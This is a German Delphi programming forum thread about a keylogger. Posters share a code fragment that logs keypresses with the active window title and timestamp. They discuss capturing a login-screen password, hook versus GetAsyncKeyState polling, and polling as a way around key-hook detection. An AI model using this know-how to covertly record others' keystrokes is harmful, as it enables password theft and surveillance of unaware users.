Keylogger und diakritische Zeichen

[smallsmoker]

@tom: bei mir nicht ...
und ja es ist gewollt das es doppelt angezeigt wird dadurch kann man sehen wie lang eine taste gedrueckt wurde.
so hab ichs jetzt am ende für mich gemacht

Delphi-Quellcode:

var
  MainForm: TMainForm;
  accap:integer;

[...]

function ActiveCaption: string;
var
  Handle: THandle;
  Len: LongInt;
  Title: string;
begin
  Result := '';
  Handle := GetForegroundWindow;
  if Handle <> 0 then
    begin
    Len := GetWindowTextLength(Handle) + 1;
    SetLength(Title, Len);
    GetWindowText(Handle, PChar(Title), Len);
    ActiveCaption := TrimRight(Title);
    end;
end;

procedure TMainForm.LogKeyPress(Sender: TObject; Key: Char);
begin
if ( GetForegroundWindow <> accap ) then
  begin
  if memo1.Text <> '' then memo1.Text := memo1.Text + #13#10 + #13#10;
  memo1.Lines.Add(activecaption + ' ' +  DateToStr(Date) + ' '+ TimeToStr(Time));
  end;
Memo1.SelText:= Key;
accap := GetForegroundWindow;
end;

mfg smallsmoker

[Dezipaitor]

funktioniert der logger auch im Willkommensbildschirm???

[Win32.API]

Was haelst du vom testen?

Edit: Damit der Post nicht ganz umsonst war:
[WindowsTaste] + L
Passwort eingegeben
[Enter]

=

[+LWin]l[-Return]

[xy124]

geiles progmramm dummer weise versteh ich nichtmal die hälfte der keylogger.pas :?

könnte man das eigentlich nicht auch mit getasynckeystate machen?

[toms]

Zitat:

Zitat von xy124

könnte man das eigentlich nicht auch mit getasynckeystate machen?

Das würde sicher mehr Systemressourcen brauchen, wenn du einen Timer mit kleinem Intervall nimmst und so
GetAsyncKeyState sehr oft aufrufst. Der Hook ist Ereignis orientiert, das andere ein Polling.

[xy124]

da ich nichts von hook und polling kenne kann ich das jetzt nich beurteilen - trotzdem gefällt mir das prog weils funzt und opensource ist :-D

[smallsmoker]

polling heißt das du etwas immer wieder z.b.: mit einem timer oder einer schleife einen wert prüft das ist natürlich sehr ressourcen aufwendig,
hooks "klinken" sich in alle programem ein und "reagieren" auf tastenanschläge.
soweit habe ich es verstanden :)

[mleyen]

Zitat:

Zitat von toms

Zitat:

Zitat von xy124

könnte man das eigentlich nicht auch mit getasynckeystate machen?

Das würde sicher mehr Systemressourcen brauchen, wenn du einen Timer mit kleinem Intervall nimmst und so
GetAsyncKeyState sehr oft aufrufst. Der Hook ist Ereignis orientiert, das andere ein Polling.

Ich meine mal irgendwo gelesen zu haben, dass einige Programme so Key-hooks erkennen und blocken können. (Bin mir aber nicht sicher, werde gern des besseren belehrt)
Deswegen hab ich das bis jetzt auch immer mit getasynckeystate gemacht, das einzige mankerl ist dabei, dass man nicht weiß wie lang eine Taste gedrückt wurde und wieviele 'Anschläge' dabei flogen.

[Mackhack]

Mit einer Schleife und GetAsycKeyState hab ichs auch schonmal gemacht mit Delphi 3 oder so Annodazumal. Ging eigentlich recht gut wenn auch nicht 100 % aber was solls.

[xy124]

nochmal dumm in die reihen gefragt wenn ich das mit getasynckeystate mache, muss ich dann für jeden Buchstaben aufführen

Delphi-Quellcode:

if getasynckeystate(ord('M'))<0 then ...

?